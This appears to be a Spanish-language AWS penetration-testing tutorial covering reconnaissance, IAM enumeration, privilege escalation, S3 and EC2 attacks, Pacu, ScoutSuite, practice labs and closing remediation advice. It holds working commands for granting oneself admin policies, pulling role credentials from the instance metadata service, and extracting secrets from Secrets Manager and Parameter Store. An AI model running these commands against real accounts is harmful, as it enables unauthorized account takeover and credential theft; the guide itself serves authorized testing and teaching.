AWS es el proveedor de nube más grande del planeta. También es una de las superficies de ataque más comunes en los engagements modernos de red team. Si haces pentesting en 2026 y no entiendes cómo atacar AWS, estás dejando scope sobre la mesa.

Esta guía cubre la cadena de ataque completa — desde reconocimiento inicial hasta escalada de privilegios — con comandos reales y las herramientas que realmente importan.

Necesitas un entorno de laboratorio para practicar esto. Levanta una cuenta dedicada de AWS para pruebas. Si quieres un VPS para ejecutar herramientas de ataque, Vultr y DigitalOcean son buenas opciones — económicas, rápidas, y puedes destruirlas cuando termines.


AWS tiene una política de pruebas de penetración clara. El resumen:

  • Puedes probar tus propios recursos AWS sin aprobación previa para la mayoría de los servicios
  • No puedes probar la infraestructura de AWS (la plataforma de nube subyacente)
  • No puedes ejecutar DDoS, escaneo de puertos de internet, ni zone walking DNS contra servicios AWS
  • Para engagements de terceros, necesitas autorización escrita del dueño de la cuenta

Las reglas son más permisivas que antes, pero léelas antes de empezar. Que tu IP quede bloqueada en AWS o que se active un escalado de GuardDuty al equipo equivocado es un mal día.


Fase 1: Reconocimiento

Reconocimiento Pasivo — Encontrar Activos Expuestos

Antes de tocar nada, busca recursos AWS expuestos públicamente. Los atacantes los encuentran constantemente.

Enumeración de buckets S3:

# Verificar si un bucket existe y es público
aws s3 ls s3://target-company-name 2>&1
aws s3 ls s3://target-company-backup 2>&1
aws s3 ls s3://target-company-logs 2>&1

# Patrones de nombres comunes para probar
aws s3 ls s3://target
aws s3 ls s3://target-prod
aws s3 ls s3://target-staging
aws s3 ls s3://target-dev
aws s3 ls s3://target-data

Herramientas para descubrimiento automático de buckets:

# s3recon
pip install s3recon
s3recon wordlist.txt -t target

# lazys3
python lazys3.py target

# S3Scanner
python s3scanner.py --bucket-file buckets.txt

Enumeración de CloudFront y Route53 vía DNS:

# Encontrar subdominios que resuelven a AWS
amass enum -passive -d target.com | grep amazonaws
subfinder -d target.com | grep amazonaws

# Identificar distribuciones CloudFront
dig target.com | grep cloudfront

Escaneo de GitHub/código por credenciales filtradas:

# truffleHog para repositorios git
trufflehog git https://github.com/target-org/repo

# gitleaks
gitleaks detect --source /path/to/repo

# Buscar patrones de claves AWS: AKIA... (ID de clave de acceso)
grep -r "AKIA" /path/to/cloned/repo

Los IDs de claves de acceso de AWS siempre empiezan con AKIA (largo plazo) o ASIA (temporal/STS). Si encuentras uno en código, a menudo sigue siendo válido.


Reconocimiento Activo — Validar Credenciales

Una vez que tienes credenciales (de claves filtradas, rol asumido o acceso inicial), valida y enumera.

Validar quién eres:

aws sts get-caller-identity

Esto devuelve tu ID de Cuenta, ID de Usuario y ARN. Primer paso crítico — te dice exactamente con qué estás trabajando.

Configurar credenciales:

aws configure
# o manualmente:
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=<token>  # solo si son credenciales temporales STS

Fase 2: Enumeración IAM

IAM es la joya de la corona en el pentesting de AWS. IAM mal configurado = compromiso total de la cuenta.

Enumerar Tus Permisos Actuales

La parte más difícil: AWS no tiene una llamada a la API de “listar mis propios permisos”. Tienes que enumerar probando.

Verificaciones manuales:

# Listar todas las políticas adjuntas al usuario actual
aws iam list-attached-user-policies --user-name <username>

# Obtener políticas inline
aws iam list-user-policies --user-name <username>

# Enumerar grupos
aws iam list-groups-for-user --user-name <username>

# Obtener políticas de grupo
aws iam list-attached-group-policies --group-name <groupname>

Enumeración automatizada de permisos con enumerate-iam:

git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
pip install -r requirements.txt
python enumerate-iam.py --access-key AKIA... --secret-key <secret>

Esto hace fuerza bruta sobre cientos de llamadas a la API para mapear qué pueden y no pueden hacer tus credenciales.

Usuarios, Roles y Políticas IAM

# Listar todos los usuarios IAM (si tienes iam:ListUsers)
aws iam list-users

# Listar todos los roles
aws iam list-roles

# Listar todas las políticas
aws iam list-policies --scope Local

# Obtener documento de política — muestra qué permisos otorga
aws iam get-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/ExamplePolicy \
  --version-id v1

# Listar políticas adjuntas a un rol
aws iam list-attached-role-policies --role-name <role-name>

Encontrar Roles con Exceso de Privilegios

El objetivo: encontrar un rol que puedas asumir que tenga más permisos que tu identidad actual.

# Listar todos los roles y sus políticas de confianza
aws iam list-roles --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]'

# Intentar asumir un rol
aws sts assume-role \
  --role-arn arn:aws:iam::123456789012:role/TargetRole \
  --role-session-name pentest

# Si tiene éxito, obtienes credenciales temporales — expórtalas y continúa
export AWS_ACCESS_KEY_ID=<new-key>
export AWS_SECRET_ACCESS_KEY=<new-secret>
export AWS_SESSION_TOKEN=<new-token>

Las políticas de confianza que permiten "Principal": {"AWS": "*"} o que confían en tu rol actual son objetivos principales.


Fase 3: Escalada de Privilegios IAM

Aquí se pone interesante. AWS tiene docenas de rutas documentadas de escalada de privilegios. Las más comunes:

iam:CreatePolicyVersion

Si puedes crear nuevas versiones de políticas, puedes adjuntarte AdministratorAccess:

# Crear una nueva versión de política con permisos de admin
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/YourPolicy \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
  }' \
  --set-as-default

iam:AttachUserPolicy

# Adjuntar AdministratorAccess directamente a tu usuario
aws iam attach-user-policy \
  --user-name <your-username> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

iam:PassRole + ec2:RunInstances

Si puedes pasar un rol a una instancia EC2 y acceder a ella, heredas los permisos del rol:

# Lanzar EC2 con un rol altamente privilegiado
aws ec2 run-instances \
  --image-id ami-0abcdef1234567890 \
  --instance-type t2.micro \
  --iam-instance-profile Name=AdminRole \
  --user-data '#!/bin/bash
    curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ > /tmp/creds.txt'

Luego accede a la instancia y obtén credenciales del servicio de metadatos.

Escalada de Privilegios vía Lambda

# Crear una Lambda con un rol de admin
aws lambda create-function \
  --function-name privileged-lambda \
  --runtime python3.11 \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --handler index.handler \
  --zip-file fileb://function.zip

# Invocarla para ejecutar código arbitrario como el rol admin
aws lambda invoke --function-name privileged-lambda output.txt

Herramienta para mapeo automatizado de rutas de PrivEsc:

# Módulo de Pacu para privesc IAM
pacu
> run iam__privesc_scan

Fase 4: Ataques a S3

Las configuraciones incorrectas de S3 filtran más datos que casi cualquier otra cosa en AWS. También son consistentemente detectables.

Enumerar Buckets

# Listar contenidos de un bucket público
aws s3 ls s3://target-bucket --no-sign-request

# Sincronizar bucket completo localmente
aws s3 sync s3://target-bucket /local/dir --no-sign-request

# Verificar ACL
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request

# Verificar política del bucket
aws s3api get-bucket-policy --bucket target-bucket --no-sign-request

--no-sign-request prueba el acceso público. Sin él, usas tus propias credenciales.

Hallazgos Comunes en S3

  • Lectura pública habilitada: Cualquiera puede listar y descargar archivos
  • Escritura pública habilitada: Cualquiera puede subir archivos maliciosos (raro pero catastrófico)
  • Política del bucket demasiado amplia: "Principal": "*" en acciones sensibles
  • ACLs con authenticated-users: Cualquier cuenta AWS puede acceder — no solo tu organización
  • Logging deshabilitado: Sin rastro de auditoría de acceso

Fase 5: Ataques a EC2

Servicio de Metadatos de Instancias (IMDS)

El servicio de metadatos en 169.254.169.254 es como las instancias EC2 obtienen sus credenciales IAM. Si tienes SSRF o ejecución de código en una instancia EC2, esta es tu primera parada.

IMDSv1 (heredado, sin autenticación requerida):

# Desde dentro de la instancia o vía SSRF
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

La última llamada devuelve AccessKeyId, SecretAccessKey y Token — credenciales temporales válidas que puedes usar en cualquier lugar.

IMDSv2 (requiere un token de sesión primero):

# Obtener un token de sesión primero
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Luego usarlo
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
  -H "X-aws-ec2-metadata-token: $TOKEN"

IMDSv2 es más difícil de abusar vía SSRF porque requiere primero una solicitud PUT — muchas vulnerabilidades SSRF solo admiten GET.

Exposición de User Data

Los datos de usuario de EC2 se usan frecuentemente para inicializar instancias con scripts — y a veces contienen secretos:

curl http://169.254.169.254/latest/user-data

Busca contraseñas hardcodeadas, claves API o cadenas de conexión a bases de datos.

Enumerar Instancias en Ejecución

# Listar todas las instancias EC2
aws ec2 describe-instances \
  --query 'Reservations[*].Instances[*].[InstanceId,PublicIpAddress,PrivateIpAddress,Tags]'

# Encontrar instancias con IPs públicas
aws ec2 describe-instances \
  --filters "Name=instance-state-name,Values=running" \
  --query 'Reservations[*].Instances[?PublicIpAddress!=`null`].[InstanceId,PublicIpAddress]'

# Verificar grupos de seguridad con reglas excesivamente permisivas
aws ec2 describe-security-groups \
  --query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].[GroupId,GroupName]'

Fase 6: Otros Servicios que Vale la Pena Atacar

Secrets Manager y Parameter Store

# Listar secretos (a menudo contiene contraseñas de BD, claves API)
aws secretsmanager list-secrets

# Obtener valor del secreto
aws secretsmanager get-secret-value --secret-id <secret-name>

# Parameter Store
aws ssm describe-parameters
aws ssm get-parameter --name /prod/db/password --with-decryption
aws ssm get-parameters-by-path --path /prod/ --recursive --with-decryption

Funciones Lambda

# Listar todas las funciones Lambda
aws lambda list-functions

# Obtener detalles de la función incluyendo variables de entorno
aws lambda get-function-configuration --function-name <function-name>

# Listar variables de entorno (a menudo contienen secretos)
aws lambda get-function-configuration \
  --function-name <function-name> \
  --query 'Environment.Variables'

CloudTrail — Saber Qué se Está Registrando

# Verificar si CloudTrail está habilitado
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name <trail-name>

# Buscar brechas — regiones sin cobertura de CloudTrail
aws cloudtrail describe-trails --include-shadow-trails false

Si CloudTrail está deshabilitado en una región, tu actividad allí no se registrará.


Fase 7: Pacu — El Framework de Explotación AWS

Pacu es el Metasploit del pentesting de AWS. Rhino Security Labs lo construyó y es la herramienta estándar para el trabajo.

# Instalar
pip3 install pacu
# o
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu && pip3 install -r requirements.txt

# Iniciar Pacu
python3 pacu.py

# Comandos clave
> set_keys           # Configurar credenciales AWS
> whoami             # Confirmar identidad
> run iam__enum_users_roles_policies_groups  # Enumeración IAM completa
> run iam__privesc_scan                      # Encontrar rutas de privesc
> run s3__enum_bucket_names                  # Descubrimiento de buckets S3
> run ec2__enum                              # Enumeración EC2
> run lambda__enum                           # Enumeración Lambda
> run secrets__enum                          # Enumeración Secrets Manager
> run guardduty__list_accounts               # Estado de GuardDuty
> services                                   # Ver todos los módulos disponibles

El escáner de privesc de Pacu es particularmente valioso — mapea tus permisos actuales contra rutas de escalada conocidas y te dice exactamente qué puedes abusar.


Fase 8: ScoutSuite — Auditoría de Seguridad en la Nube

ScoutSuite te da un informe completo de auditoría de la postura de seguridad de una cuenta AWS.

pip install scoutsuite

# Ejecutar contra cuenta AWS
scout aws

# Genera un informe HTML que puedes navegar localmente

ScoutSuite verifica cientos de reglas en todos los servicios AWS — buckets S3 públicos, grupos de seguridad abiertos, brechas en CloudTrail, política de contraseñas IAM, y más.


Entorno de Práctica: Construye Tu Propio Laboratorio

No practiques esto en cuentas AWS de producción o en nada que no sea tuyo. Construye un laboratorio dedicado.

Opción 1: Flaws.cloud — Entorno AWS vulnerable gratuito

http://flaws.cloud
http://flaws2.cloud

Estos son los mejores laboratorios de seguridad AWS gratuitos disponibles. Trabaja en cada nivel.

Opción 2: CloudGoat (Rhino Security Labs)

git clone https://github.com/RhinoSecurityLabs/cloudGoat
cd cloudGoat
pip3 install -r requirements.txt
python3 cloudgoat.py config profile default
python3 cloudgoat.py create vulnerable_lambda

Opción 3: Tu propia cuenta AWS aislada

Crea una cuenta AWS dedicada (nivel gratuito), levanta recursos intencionalmente mal configurados, y atácalos. Usa Vultr o DigitalOcean para una máquina atacante externa.


Referencia Rápida: Comandos Esenciales

# Quién soy
aws sts get-caller-identity

# Enumeración IAM completa
python enumerate-iam.py --access-key $KEY --secret-key $SECRET

# Asumir rol
aws sts assume-role --role-arn <arn> --role-session-name test

# Verificación pública S3
aws s3 ls s3://bucket-name --no-sign-request

# Metadatos EC2 desde dentro de la instancia
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Secretos
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption

# Pacu
python3 pacu.py

# Auditoría completa ScoutSuite
scout aws

Lista de Verificación: Metodología de Pentesting AWS

  • Reconocimiento pasivo: buckets S3, subdominios, filtraciones de credenciales en GitHub
  • Validar credenciales: aws sts get-caller-identity
  • Enumerar permisos IAM (enumerate-iam o Pacu)
  • Verificar rutas de escalada de privilegios IAM (Pacu iam__privesc_scan)
  • Enumerar todos los buckets S3 — verificar acceso público y ACLs
  • Verificar instancias EC2 — IPs públicas, grupos de seguridad, datos de usuario
  • Obtener credenciales IAM del IMDS en cualquier EC2 accesible
  • Enumerar Secrets Manager y SSM Parameter Store
  • Verificar funciones Lambda por secretos en variables de entorno
  • Verificar RDS por instancias de acceso público
  • Ejecutar ScoutSuite para auditoría completa de la cuenta
  • Revisar cobertura de CloudTrail — encontrar brechas

Defender lo que Atacas

Si haces esto para un cliente, querrán saber cómo arreglar lo que encontraste:

  • Habilitar SCPs (Service Control Policies) para restringir lo que puede hacer cualquier cuenta
  • Habilitar GuardDuty en cada región — detecta robo de credenciales, llamadas API inusuales y abuso del servicio de metadatos
  • Forzar IMDSv2 en todas las instancias EC2 — elimina una clase de ataques SSRF
  • Bloquear acceso público a S3 a nivel de cuenta a menos que sea explícitamente necesario
  • Habilitar CloudTrail en todas las regiones, registrar en una cuenta separada bloqueada
  • Usar IAM Access Analyzer para encontrar políticas excesivamente permisivas automáticamente

¿Necesitas ayuda redactando un engagement de pentesting en la nube o contenido de concienciación en seguridad para tu organización? CipherWrite maneja contenido técnico de seguridad — reportes, whitepapers, guías de concienciación.


Siguiente: Guía de Pentesting en Azure 2026: Red Teaming en la Nube de Microsoft — misma profundidad, nube diferente.